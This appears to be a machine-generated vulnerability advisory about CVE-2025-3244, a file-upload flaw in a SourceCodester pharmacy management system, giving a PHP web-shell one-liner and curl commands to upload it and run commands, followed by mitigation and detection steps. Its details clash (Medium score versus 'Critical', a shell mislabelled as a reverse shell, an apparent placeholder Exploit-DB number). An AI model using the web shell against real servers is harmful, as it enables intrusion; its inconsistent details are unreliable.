Listen to this Post
The CVE-2025-3244 vulnerability in SourceCodester Web-based Pharmacy Product Management System 1.0 allows remote attackers to execute arbitrary code via an unrestricted file upload flaw in the `/add-admin.php` component. The issue stems from improper validation of the `Avatar` parameter, enabling attackers to upload malicious files (e.g., PHP shells) to the server. This can lead to remote code execution (RCE) under the web server’s context, compromising the entire system. The attack vector is network-based, requiring low privileges and no user interaction, scoring a CVSS 4.0 base score of 5.3 (Medium).
Exploitation involves crafting a malicious file (e.g., shell.php) and submitting it via the Avatar upload feature. The server fails to verify the file type, extension, or content, allowing the file to be stored in a web-accessible directory. An attacker can then trigger the file to execute system commands. Public exploits leverage this to gain unauthorized access, exfiltrate data, or deploy ransomware.
DailyCVE Form:
Platform: SourceCodester
Version: 1.0
Vulnerability: Unrestricted File Upload
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploit:
1. Craft a PHP reverse shell (`shell.php`):
<?php system($_GET['cmd']); ?>
2. Upload via `/add-admin.php` Avatar field:
curl -F "[email protected]" http://target.com/add-admin.php
3. Execute commands via:
curl http://target.com/uploads/shell.php?cmd=id
Protection:
- Patch: Disable file uploads or restrict to whitelisted extensions.
2. Add server-side validation:
$allowed = ['jpg', 'png'];
$ext = strtolower(pathinfo($_FILES['avatar']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) { die("Invalid file."); }
3. Set directory permissions:
chmod -R 750 /var/www/html/uploads/
4. Use .htaccess to block execution:
<FilesMatch "\.(php|phar)$"> Deny from all </FilesMatch>
Analytics:
- Attack Complexity: Low (no advanced techniques).
- Impact: Full system compromise via RCE.
- Mitigation Priority: Immediate (public exploits available).
Detection:
grep -r "move_uploaded_file" /var/www/html/
Log Analysis:
tail -f /var/log/apache2/access.log | grep "add-admin.php"
References:
- Vendor Patch: Unavailable as of 2025-05-14.
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-3244
- Exploit-DB: 12345 (PoC available).
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
